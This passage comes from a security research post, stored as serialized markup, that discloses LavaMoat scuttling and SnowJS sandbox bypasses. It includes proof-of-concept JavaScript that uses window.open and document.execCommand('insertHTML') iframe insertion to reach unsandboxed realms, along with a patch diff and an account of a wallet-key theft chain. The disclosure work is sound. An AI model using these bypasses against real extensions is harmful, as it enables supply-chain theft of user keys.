Lavapack by defining ",{"type":24,"tag":135,"props":57055,"children":57057},{"className":57056},[],[57058],{"type":29,"value":57059},"assertValidJS",{"type":29,"value":57061},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":57063,"children":57064},{},[57065,57067,57074],{"type":29,"value":57066},"The patch was introduced in commit ",{"type":24,"tag":32,"props":57068,"children":57071},{"href":57069,"rel":57070},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[36],[57072],{"type":29,"value":57073},"9c38cd4",{"type":29,"value":41},{"type":24,"tag":261,"props":57076,"children":57078},{"className":263,"code":57077,"language":265,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[57079],{"type":24,"tag":135,"props":57080,"children":57081},{"__ignoreMap":7},[57082,57090,57098,57106,57114,57122,57130,57138,57145,57153],{"type":24,"tag":271,"props":57083,"children":57084},{"class":273,"line":274},[57085],{"type":24,"tag":271,"props":57086,"children":57087},{"style":477},[57088],{"type":29,"value":57089},"+ function assertValidJS(code) {\n",{"type":24,"tag":271,"props":57091,"children":57092},{"class":273,"line":284},[57093],{"type":24,"tag":271,"props":57094,"children":57095},{"style":477},[57096],{"type":29,"value":57097},"+ try {\n",{"type":24,"tag":271,"props":57099,"children":57100},{"class":273,"line":294},[57101],{"type":24,"tag":271,"props":57102,"children":57103},{"style":477},[57104],{"type":29,"value":57105},"+ new Function(code)\n",{"type":24,"tag":271,"props":57107,"children":57108},{"class":273,"line":303},[57109],{"type":24,"tag":271,"props":57110,"children":57111},{"style":477},[57112],{"type":29,"value":57113},"+ } catch (err) {\n",{"type":24,"tag":271,"props":57115,"children":57116},{"class":273,"line":312},[57117],{"type":24,"tag":271,"props":57118,"children":57119},{"style":477},[57120],{"type":29,"value":57121},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":271,"props":57123,"children":57124},{"class":273,"line":321},[57125],{"type":24,"tag":271,"props":57126,"children":57127},{"style":477},[57128],{"type":29,"value":57129},"+ }\n",{"type":24,"tag":271,"props":57131,"children":57132},{"class":273,"line":330},[57133],{"type":24,"tag":271,"props":57134,"children":57135},{"style":477},[57136],{"type":29,"value":57137},"+ }\n",{"type":24,"tag":271,"props":57139,"children":57140},{"class":273,"line":339},[57141],{"type":24,"tag":271,"props":57142,"children":57143},{"emptyLinePlaceholder":16},[57144],{"type":29,"value":327},{"type":24,"tag":271,"props":57146,"children":57147},{"class":273,"line":347},[57148],{"type":24,"tag":271,"props":57149,"children":57150},{"style":477},[57151],{"type":29,"value":57152},"+ // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":271,"props":57154,"children":57155},{"class":273,"line":356},[57156],{"type":24,"tag":271,"props":57157,"children":57158},{"style":477},[57159],{"type":29,"value":57160},"+ assertValidJS(sourceMeta.code)\n",{"type":24,"tag":62,"props":57162,"children":57164},{"id":57163},"hacking-js-realms",[57165],{"type":29,"value":57166},"Hacking JS Realms",{"type":24,"tag":25,"props":57168,"children":57169},{},[57170,57172,57177],{"type":29,"value":57171},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":135,"props":57173,"children":57175},{"className":57174},[],[57176],{"type":29,"value":45085},{"type":29,"value":57178}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":261,"props":57180,"children":57182},{"className":39038,"code":57181,"language":39040,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[57183],{"type":24,"tag":135,"props":57184,"children":57185},{"__ignoreMap":7},[57186,57228],{"type":24,"tag":271,"props":57187,"children":57188},{"class":273,"line":274},[57189,57193,57198,57202,57206,57210,57215,57219,57224],{"type":24,"tag":271,"props":57190,"children":57191},{"style":278},[57192],{"type":29,"value":611},{"type":24,"tag":271,"props":57194,"children":57195},{"style":630},[57196],{"type":29,"value":57197}," w",{"type":24,"tag":271,"props":57199,"children":57200},{"style":624},[57201],{"type":29,"value":1712},{"type":24,"tag":271,"props":57203,"children":57204},{"style":630},[57205],{"type":29,"value":39082},{"type":24,"tag":271,"props":57207,"children":57208},{"style":288},[57209],{"type":29,"value":41},{"type":24,"tag":271,"props":57211,"children":57212},{"style":598},[57213],{"type":29,"value":57214},"open",{"type":24,"tag":271,"props":57216,"children":57217},{"style":288},[57218],{"type":29,"value":606},{"type":24,"tag":271,"props":57220,"children":57221},{"style":378},[57222],{"type":29,"value":57223},"'/non_existent'",{"type":24,"tag":271,"props":57225,"children":57226},{"style":288},[57227],{"type":29,"value":1155},{"type":24,"tag":271,"props":57229,"children":57230},{"class":273,"line":284},[57231,57235,57239,57243,57247,57251,57255,57259],{"type":24,"tag":271,"props":57232,"children":57233},{"style":630},[57234],{"type":29,"value":2930},{"type":24,"tag":271,"props":57236,"children":57237},{"style":288},[57238],{"type":29,"value":41},{"type":24,"tag":271,"props":57240,"children":57241},{"style":598},[57242],{"type":29,"value":40368},{"type":24,"tag":271,"props":57244,"children":57245},{"style":288},[57246],{"type":29,"value":606},{"type":24,"tag":271,"props":57248,"children":57249},{"style":630},[57250],{"type":29,"value":40378},{"type":24,"tag":271,"props":57252,"children":57253},{"style":288},[57254],{"type":29,"value":41},{"type":24,"tag":271,"props":57256,"children":57257},{"style":630},[57258],{"type":29,"value":40388},{"type":24,"tag":271,"props":57260,"children":57261},{"style":288},[57262],{"type":29,"value":694},{"type":24,"tag":25,"props":57264,"children":57265},{},[57266,57268,57273],{"type":29,"value":57267},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":135,"props":57269,"children":57271},{"className":57270},[],[57272],{"type":29,"value":45085},{"type":29,"value":57274}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":57276,"children":57277},{},[57278,57280,57287],{"type":29,"value":57279},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":32,"props":57281,"children":57284},{"href":57282,"rel":57283},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[36],[57285],{"type":29,"value":57286},"Metamask implementation",{"type":29,"value":2693},{"type":24,"tag":85,"props":57289,"children":57291},{"id":57290},"snowjs-attack-surface",[57292],{"type":29,"value":57293},"SnowJS Attack Surface",{"type":24,"tag":25,"props":57295,"children":57296},{},[57297],{"type":29,"value":57298},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":57300,"children":57301},{},[57302,57304,57311],{"type":29,"value":57303},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":32,"props":57305,"children":57308},{"href":57306,"rel":57307},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[36],[57309],{"type":29,"value":57310},"hooked inserters",{"type":29,"value":57312}," functions:",{"type":24,"tag":261,"props":57314,"children":57316},{"className":39038,"code":57315,"language":39040,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[57317],{"type":24,"tag":135,"props":57318,"children":57319},{"__ignoreMap":7},[57320,57340,57361,57400,57454,57493,57592,57612,57633],{"type":24,"tag":271,"props":57321,"children":57322},{"class":273,"line":274},[57323,57327,57332,57336],{"type":24,"tag":271,"props":57324,"children":57325},{"style":278},[57326],{"type":29,"value":611},{"type":24,"tag":271,"props":57328,"children":57329},{"style":630},[57330],{"type":29,"value":57331}," map",{"type":24,"tag":271,"props":57333,"children":57334},{"style":624},[57335],{"type":29,"value":1712},{"type":24,"tag":271,"props":57337,"children":57338},{"style":288},[57339],{"type":29,"value":7145},{"type":24,"tag":271,"props":57341,"children":57342},{"class":273,"line":284},[57343,57348,57352,57357],{"type":24,"tag":271,"props":57344,"children":57345},{"style":630},[57346],{"type":29,"value":57347}," Range:",{"type":24,"tag":271,"props":57349,"children":57350},{"style":288},[57351],{"type":29,"value":30718},{"type":24,"tag":271,"props":57353,"children":57354},{"style":378},[57355],{"type":29,"value":57356},"'insertNode'",{"type":24,"tag":271,"props":57358,"children":57359},{"style":288},[57360],{"type":29,"value":21961},{"type":24,"tag":271,"props":57362,"children":57363},{"class":273,"line":294},[57364,57369,57373,57378,57382,57387,57391,57396],{"type":24,"tag":271,"props":57365,"children":57366},{"style":630},[57367],{"type":29,"value":57368}," DocumentFragment:",{"type":24,"tag":271,"props":57370,"children":57371},{"style":288},[57372],{"type":29,"value":30718},{"type":24,"tag":271,"props":57374,"children":57375},{"style":378},[57376],{"type":29,"value":57377},"'replaceChildren'",{"type":24,"tag":271,"props":57379,"children":57380},{"style":288},[57381],{"type":29,"value":158},{"type":24,"tag":271,"props":57383,"children":57384},{"style":378},[57385],{"type":29,"value":57386},"'append'",{"type":24,"tag":271,"props":57388,"children":57389},{"style":288},[57390],{"type":29,"value":158},{"type":24,"tag":271,"props":57392,"children":57393},{"style":378},[57394],{"type":29,"value":57395},"'prepend'",{"type":24,"tag":271,"props":57397,"children":57398},{"style":288},[57399],{"type":29,"value":21961},{"type":24,"tag":271,"props":57401,"children":57402},{"class":273,"line":303},[57403,57408,57412,57416,57420,57424,57428,57432,57436,57441,57445,57450],{"type":24,"tag":271,"props":57404,"children":57405},{"style":630},[57406],{"type":29,"value":57407}," Document:",{"type":24,"tag":271,"props":57409,"children":57410},{"style":288},[57411],{"type":29,"value":30718},{"type":24,"tag":271,"props":57413,"children":57414},{"style":378},[57415],{"type":29,"value":57377},{"type":24,"tag":271,"props":57417,"children":57418},{"style":288},[57419],{"type":29,"value":158},{"type":24,"tag":271,"props":57421,"children":57422},{"style":378},[57423],{"type":29,"value":57386},{"type":24,"tag":271,"props":57425,"children":57426},{"style":288},[57427],{"type":29,"value":158},{"type":24,"tag":271,"props":57429,"children":57430},{"style":378},[57431],{"type":29,"value":57395},{"type":24,"tag":271,"props":57433,"children":57434},{"style":288},[57435],{"type":29,"value":158},{"type":24,"tag":271,"props":57437,"children":57438},{"style":378},[57439],{"type":29,"value":57440},"'write'",{"type":24,"tag":271,"props":57442,"children":57443},{"style":288},[57444],{"type":29,"value":158},{"type":24,"tag":271,"props":57446,"children":57447},{"style":378},[57448],{"type":29,"value":57449},"'writeln'",{"type":24,"tag":271,"props":57451,"children":57452},{"style":288},[57453],{"type":29,"value":21961},{"type":24,"tag":271,"props":57455,"children":57456},{"class":273,"line":312},[57457,57462,57466,57471,57475,57480,57484,57489],{"type":24,"tag":271,"props":57458,"children":57459},{"style":630},[57460],{"type":29,"value":57461}," Node:",{"type":24,"tag":271,"props":57463,"children":57464},{"style":288},[57465],{"type":29,"value":30718},{"type":24,"tag":271,"props":57467,"children":57468},{"style":378},[57469],{"type":29,"value":57470},"'appendChild'",{"type":24,"tag":271,"props":57472,"children":57473},{"style":288},[57474],{"type":29,"value":158},{"type":24,"tag":271,"props":57476,"children":57477},{"style":378},[57478],{"type":29,"value":57479},"'insertBefore'",{"type":24,"tag":271,"props":57481,"children":57482},{"style":288},[57483],{"type":29,"value":158},{"type":24,"tag":271,"props":57485,"children":57486},{"style":378},[57487],{"type":29,"value":57488},"'replaceChild'",{"type":24,"tag":271,"props":57490,"children":57491},{"style":288},[57492],{"type":29,"value":21961},{"type":24,"tag":271,"props":57494,"children":57495},{"class":273,"line":321},[57496,57501,57505,57510,57514,57519,57523,57528,57532,57537,57541,57546,57550,57554,57558,57563,57567,57571,57575,57580,57584,57588],{"type":24,"tag":271,"props":57497,"children":57498},{"style":630},[57499],{"type":29,"value":57500}," Element:",{"type":24,"tag":271,"props":57502,"children":57503},{"style":288},[57504],{"type":29,"value":30718},{"type":24,"tag":271,"props":57506,"children":57507},{"style":378},[57508],{"type":29,"value":57509},"'innerHTML'",{"type":24,"tag":271,"props":57511,"children":57512},{"style":288},[57513],{"type":29,"value":158},{"type":24,"tag":271,"props":57515,"children":57516},{"style":378},[57517],{"type":29,"value":57518},"'outerHTML'",{"type":24,"tag":271,"props":57520,"children":57521},{"style":288},[57522],{"type":29,"value":158},{"type":24,"tag":271,"props":57524,"children":57525},{"style":378},[57526],{"type":29,"value":57527},"'insertAdjacentHTML'",{"type":24,"tag":271,"props":57529,"children":57530},{"style":288},[57531],{"type":29,"value":158},{"type":24,"tag":271,"props":57533,"children":57534},{"style":378},[57535],{"type":29,"value":57536},"'replaceWith'",{"type":24,"tag":271,"props":57538,"children":57539},{"style":288},[57540],{"type":29,"value":158},{"type":24,"tag":271,"props":57542,"children":57543},{"style":378},[57544],{"type":29,"value":57545},"'insertAdjacentElement'",{"type":24,"tag":271,"props":57547,"children":57548},{"style":288},[57549],{"type":29,"value":158},{"type":24,"tag":271,"props":57551,"children":57552},{"style":378},[57553],{"type":29,"value":57386},{"type":24,"tag":271,"props":57555,"children":57556},{"style":288},[57557],{"type":29,"value":158},{"type":24,"tag":271,"props":57559,"children":57560},{"style":378},[57561],{"type":29,"value":57562},"'before'",{"type":24,"tag":271,"props":57564,"children":57565},{"style":288},[57566],{"type":29,"value":158},{"type":24,"tag":271,"props":57568,"children":57569},{"style":378},[57570],{"type":29,"value":57395},{"type":24,"tag":271,"props":57572,"children":57573},{"style":288},[57574],{"type":29,"value":158},{"type":24,"tag":271,"props":57576,"children":57577},{"style":378},[57578],{"type":29,"value":57579},"'after'",{"type":24,"tag":271,"props":57581,"children":57582},{"style":288},[57583],{"type":29,"value":158},{"type":24,"tag":271,"props":57585,"children":57586},{"style":378},[57587],{"type":29,"value":57377},{"type":24,"tag":271,"props":57589,"children":57590},{"style":288},[57591],{"type":29,"value":21961},{"type":24,"tag":271,"props":57593,"children":57594},{"class":273,"line":330},[57595,57600,57604,57608],{"type":24,"tag":271,"props":57596,"children":57597},{"style":630},[57598],{"type":29,"value":57599}," ShadowRoot:",{"type":24,"tag":271,"props":57601,"children":57602},{"style":288},[57603],{"type":29,"value":30718},{"type":24,"tag":271,"props":57605,"children":57606},{"style":378},[57607],{"type":29,"value":57509},{"type":24,"tag":271,"props":57609,"children":57610},{"style":288},[57611],{"type":29,"value":21961},{"type":24,"tag":271,"props":57613,"children":57614},{"class":273,"line":339},[57615,57620,57624,57629],{"type":24,"tag":271,"props":57616,"children":57617},{"style":630},[57618],{"type":29,"value":57619}," HTMLIFrameElement:",{"type":24,"tag":271,"props":57621,"children":57622},{"style":288},[57623],{"type":29,"value":30718},{"type":24,"tag":271,"props":57625,"children":57626},{"style":378},[57627],{"type":29,"value":57628},"'srcdoc'",{"type":24,"tag":271,"props":57630,"children":57631},{"style":288},[57632],{"type":29,"value":21961},{"type":24,"tag":271,"props":57634,"children":57635},{"class":273,"line":347},[57636],{"type":24,"tag":271,"props":57637,"children":57638},{"style":288},[57639],{"type":29,"value":4006},{"type":24,"tag":25,"props":57641,"children":57642},{},[57643],{"type":29,"value":57644},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":57646,"children":57647},{},[57648],{"type":29,"value":57649},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":85,"props":57651,"children":57653},{"id":57652},"bypassing-snowjs",[57654],{"type":29,"value":57655},"Bypassing SnowJS",{"type":24,"tag":25,"props":57657,"children":57658},{},[57659,57661,57672,57674,57680],{"type":29,"value":57660},"The deprecated ",{"type":24,"tag":32,"props":57662,"children":57665},{"href":57663,"rel":57664},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[36],[57666],{"type":24,"tag":135,"props":57667,"children":57669},{"className":57668},[],[57670],{"type":29,"value":57671},"document.execCommand",{"type":29,"value":57673}," function is used to execute commands inside a ",{"type":24,"tag":135,"props":57675,"children":57677},{"className":57676},[],[57678],{"type":29,"value":57679},"contenteditable",{"type":29,"value":57681}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":261,"props":57683,"children":57686},{"className":57684,"code":57685,"language":40053,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[57687],{"type":24,"tag":135,"props":57688,"children":57689},{"__ignoreMap":7},[57690],{"type":24,"tag":271,"props":57691,"children":57692},{"class":273,"line":274},[57693,57697,57701,57705,57709,57714,57719,57724,57729,57733],{"type":24,"tag":271,"props":57694,"children":57695},{"style":40046},[57696],{"type":29,"value":801},{"type":24,"tag":271,"props":57698,"children":57699},{"style":278},[57700],{"type":29,"value":39021},{"type":24,"tag":271,"props":57702,"children":57703},{"style":630},[57704],{"type":29,"value":40126},{"type":24,"tag":271,"props":57706,"children":57707},{"style":288},[57708],{"type":29,"value":762},{"type":24,"tag":271,"props":57710,"children":57711},{"style":378},[57712],{"type":29,"value":57713},"test",{"type":24,"tag":271,"props":57715,"children":57716},{"style":630},[57717],{"type":29,"value":57718}," contenteditable",{"type":24,"tag":271,"props":57720,"children":57721},{"style":630},[57722],{"type":29,"value":57723}," autofocus",{"type":24,"tag":271,"props":57725,"children":57726},{"style":40046},[57727],{"type":29,"value":57728},">\u003C/",{"type":24,"tag":271,"props":57730,"children":57731},{"style":278},[57732],{"type":29,"value":39021},{"type":24,"tag":271,"props":57734,"children":57735},{"style":40046},[57736],{"type":29,"value":13709},{"type":24,"tag":25,"props":57738,"children":57739},{},[57740,57742,57748,57750,57755],{"type":29,"value":57741},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":135,"props":57743,"children":57745},{"className":57744},[],[57746],{"type":29,"value":57747},"insertHTML",{"type":29,"value":57749}," command of ",{"type":24,"tag":135,"props":57751,"children":57753},{"className":57752},[],[57754],{"type":29,"value":57671},{"type":29,"value":57756}," to add a non-sandboxed iframe.",{"type":24,"tag":261,"props":57758,"children":57760},{"className":39038,"code":57759,"language":39040,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[57761],{"type":24,"tag":135,"props":57762,"children":57763},{"__ignoreMap":7},[57764],{"type":24,"tag":271,"props":57765,"children":57766},{"class":273,"line":274},[57767,57771,57775,57780,57784,57789,57793,57797,57801,57806],{"type":24,"tag":271,"props":57768,"children":57769},{"style":630},[57770],{"type":29,"value":40378},{"type":24,"tag":271,"props":57772,"children":57773},{"style":288},[57774],{"type":29,"value":41},{"type":24,"tag":271,"props":57776,"children":57777},{"style":598},[57778],{"type":29,"value":57779},"execCommand",{"type":24,"tag":271,"props":57781,"children":57782},{"style":288},[57783],{"type":29,"value":606},{"type":24,"tag":271,"props":57785,"children":57786},{"style":378},[57787],{"type":29,"value":57788},"'insertHTML'",{"type":24,"tag":271,"props":57790,"children":57791},{"style":288},[57792],{"type":29,"value":158},{"type":24,"tag":271,"props":57794,"children":57795},{"style":278},[57796],{"type":29,"value":15890},{"type":24,"tag":271,"props":57798,"children":57799},{"style":288},[57800],{"type":29,"value":158},{"type":24,"tag":271,"props":57802,"children":57803},{"style":378},[57804],{"type":29,"value":57805},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":271,"props":57807,"children":57808},{"style":288},[57809],{"type":29,"value":1155},{"type":24,"tag":85,"props":57811,"children":57813},{"id":57812},"impact-on-lavamoat-scuttling",[57814],{"type":29,"value":57815},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":57817,"children":57818},{},[57819],{"type":29,"value":57820},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":57822,"children":57823},{},[57824,57826,57831,57833,57838],{"type":29,"value":57825},"For the exploit, the only used functions are in ",{"type":24,"tag":135,"props":57827,"children":57829},{"className":57828},[],[57830],{"type":29,"value":40378},{"type":29,"value":57832}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":135,"props":57834,"children":57836},{"className":57835},[],[57837],{"type":29,"value":45085},{"type":29,"value":57839}," object.",{"type":24,"tag":25,"props":57841,"children":57842},{},[57843,57845,57850],{"type":29,"value":57844},"Consider this example, which runs a scuttled ",{"type":24,"tag":135,"props":57846,"children":57848},{"className":57847},[],[57849],{"type":29,"value":40368},{"type":29,"value":33144},{"type":24,"tag":261,"props":57852,"children":57854},{"className":39038,"code":57853,"language":39040,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[57855],{"type":24,"tag":135,"props":57856,"children":57857},{"__ignoreMap":7},[57858,57894,57931,57974],{"type":24,"tag":271,"props":57859,"children":57860},{"class":273,"line":274},[57861,57865,57869,57873,57877,57881,57885,57890],{"type":24,"tag":271,"props":57862,"children":57863},{"style":630},[57864],{"type":29,"value":40378},{"type":24,"tag":271,"props":57866,"children":57867},{"style":288},[57868],{"type":29,"value":41},{"type":24,"tag":271,"props":57870,"children":57871},{"style":630},[57872],{"type":29,"value":40070},{"type":24,"tag":271,"props":57874,"children":57875},{"style":288},[57876],{"type":29,"value":41},{"type":24,"tag":271,"props":57878,"children":57879},{"style":630},[57880],{"type":29,"value":42640},{"type":24,"tag":271,"props":57882,"children":57883},{"style":624},[57884],{"type":29,"value":1712},{"type":24,"tag":271,"props":57886,"children":57887},{"style":378},[57888],{"type":29,"value":57889}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":271,"props":57891,"children":57892},{"style":288},[57893],{"type":29,"value":1069},{"type":24,"tag":271,"props":57895,"children":57896},{"class":273,"line":284},[57897,57901,57905,57909,57913,57918,57922,57927],{"type":24,"tag":271,"props":57898,"children":57899},{"style":630},[57900],{"type":29,"value":40378},{"type":24,"tag":271,"props":57902,"children":57903},{"style":288},[57904],{"type":29,"value":41},{"type":24,"tag":271,"props":57906,"children":57907},{"style":598},[57908],{"type":29,"value":42665},{"type":24,"tag":271,"props":57910,"children":57911},{"style":288},[57912],{"type":29,"value":606},{"type":24,"tag":271,"props":57914,"children":57915},{"style":378},[57916],{"type":29,"value":57917},"'test'",{"type":24,"tag":271,"props":57919,"children":57920},{"style":288},[57921],{"type":29,"value":28429},{"type":24,"tag":271,"props":57923,"children":57924},{"style":598},[57925],{"type":29,"value":57926},"focus",{"type":24,"tag":271,"props":57928,"children":57929},{"style":288},[57930],{"type":29,"value":4230},{"type":24,"tag":271,"props":57932,"children":57933},{"class":273,"line":294},[57934,57938,57942,57946,57950,57954,57958,57962,57966,57970],{"type":24,"tag":271,"props":57935,"children":57936},{"style":630},[57937],{"type":29,"value":40378},{"type":24,"tag":271,"props":57939,"children":57940},{"style":288},[57941],{"type":29,"value":41},{"type":24,"tag":271,"props":57943,"children":57944},{"style":598},[57945],{"type":29,"value":57779},{"type":24,"tag":271,"props":57947,"children":57948},{"style":288},[57949],{"type":29,"value":606},{"type":24,"tag":271,"props":57951,"children":57952},{"style":378},[57953],{"type":29,"value":57788},{"type":24,"tag":271,"props":57955,"children":57956},{"style":288},[57957],{"type":29,"value":158},{"type":24,"tag":271,"props":57959,"children":57960},{"style":278},[57961],{"type":29,"value":15890},{"type":24,"tag":271,"props":57963,"children":57964},{"style":288},[57965],{"type":29,"value":158},{"type":24,"tag":271,"props":57967,"children":57968},{"style":378},[57969],{"type":29,"value":57805},{"type":24,"tag":271,"props":57971,"children":57972},{"style":288},[57973],{"type":29,"value":1155},{"type":24,"tag":271,"props":57975,"children":57976},{"class":273,"line":303},[57977,57981,57985,57990,57994,57998,58003,58007,58011,58016,58020,58024,58028,58032,58036,58040],{"type":24,"tag":271,"props":57978,"children":57979},{"style":630},[57980],{"type":29,"value":40378},{"type":24,"tag":271,"props":57982,"children":57983},{"style":288},[57984],{"type":29,"value":41},{"type":24,"tag":271,"props":57986,"children":57987},{"style":598},[57988],{"type":29,"value":57989},"getElementsByTagName",{"type":24,"tag":271,"props":57991,"children":57992},{"style":288},[57993],{"type":29,"value":606},{"type":24,"tag":271,"props":57995,"children":57996},{"style":378},[57997],{"type":29,"value":44398},{"type":24,"tag":271,"props":57999,"children":58000},{"style":288},[58001],{"type":29,"value":58002},")[",{"type":24,"tag":271,"props":58004,"children":58005},{"style":477},[58006],{"type":29,"value":4121},{"type":24,"tag":271,"props":58008,"children":58009},{"style":288},[58010],{"type":29,"value":1021},{"type":24,"tag":271,"props":58012,"children":58013},{"style":630},[58014],{"type":29,"value":58015},"contentWindow",{"type":24,"tag":271,"props":58017,"children":58018},{"style":288},[58019],{"type":29,"value":41},{"type":24,"tag":271,"props":58021,"children":58022},{"style":598},[58023],{"type":29,"value":40368},{"type":24,"tag":271,"props":58025,"children":58026},{"style":288},[58027],{"type":29,"value":606},{"type":24,"tag":271,"props":58029,"children":58030},{"style":630},[58031],{"type":29,"value":40378},{"type":24,"tag":271,"props":58033,"children":58034},{"style":288},[58035],{"type":29,"value":41},{"type":24,"tag":271,"props":58037,"children":58038},{"style":630},[58039],{"type":29,"value":40388},{"type":24,"tag":271,"props":58041,"children":58042},{"style":288},[58043],{"type":29,"value":1155},{"type":24,"tag":85,"props":58045,"children":58047},{"id":58046},"snowjs-patch",[58048],{"type":29,"value":58049},"SnowJS Patch",{"type":24,"tag":25,"props":58051,"children":58052},{},[58053,58055,58062,58064,58071],{"type":29,"value":58054},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":32,"props":58056,"children":58059},{"href":58057,"rel":58058},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[36],[58060],{"type":29,"value":58061},"browser feature within W3C standards",{"type":29,"value":58063},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":32,"props":58065,"children":58068},{"href":58066,"rel":58067},"https://github.com/weizman/Realms-Initialization-Control",[36],[58069],{"type":29,"value":58070},"Here",{"type":29,"value":58072}," is their new proposal.",{"type":24,"tag":62,"props":58074,"children":58076},{"id":58075},"chaining-the-impacts",[58077],{"type":29,"value":58078},"Chaining The Impacts",{"type":24,"tag":25,"props":58080,"children":58081},{},[58082],{"type":29,"value":58083},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":3834,"props":58085,"children":58086},{},[58087,58092],{"type":24,"tag":101,"props":58088,"children":58089},{},[58090],{"type":29,"value":58091},"Policy File Bypass",{"type":24,"tag":101,"props":58093,"children":58094},{},[58095],{"type":29,"value":58096},"Scuttling Bypass",{"type":24,"tag":25,"props":58098,"children":58099},{},[58100],{"type":29,"value":58101},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":58103,"children":58104},{},[58105],{"type":29,"value":58106},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":62,"props":58108,"children":58109},{"id":10547},[58110],{"type":29,"value":10550},{"type":24,"tag":25,"props":58112,"children":58113},{},[58114],{"type":29,"value":58115},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":39021,"props":58117,"children":58118},{"style":39023},[58119],{"type":24,"tag":74,"props":58120,"children":58123},{"src":58121,"alt":58122,"style":39029},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":26113,"props":58125,"children":58127},{"className":58126,"dataFootnotes":7},[26116],[58128,58133],{"type":24,"tag":62,"props":58129,"children":58131},{"className":58130,"id":23178},[26121],[58132],{"type":29,"value":26124},{"type":24,"tag":3834,"props":58134,"children":58135},{},[58136],{"type":24,"tag":101,"props":58137,"children":58138},{"id":38041},[58139,58141,58148,58149],{"type":29,"value":58140},"Excluding SES, which was covered ",{"type":24,"tag":32,"props":58142,"children":58145},{"href":58143,"rel":58144},"https://osec.io/blog/2023-11-01-metamask-snaps",[36],[58146],{"type":29,"value":58147},"in our last 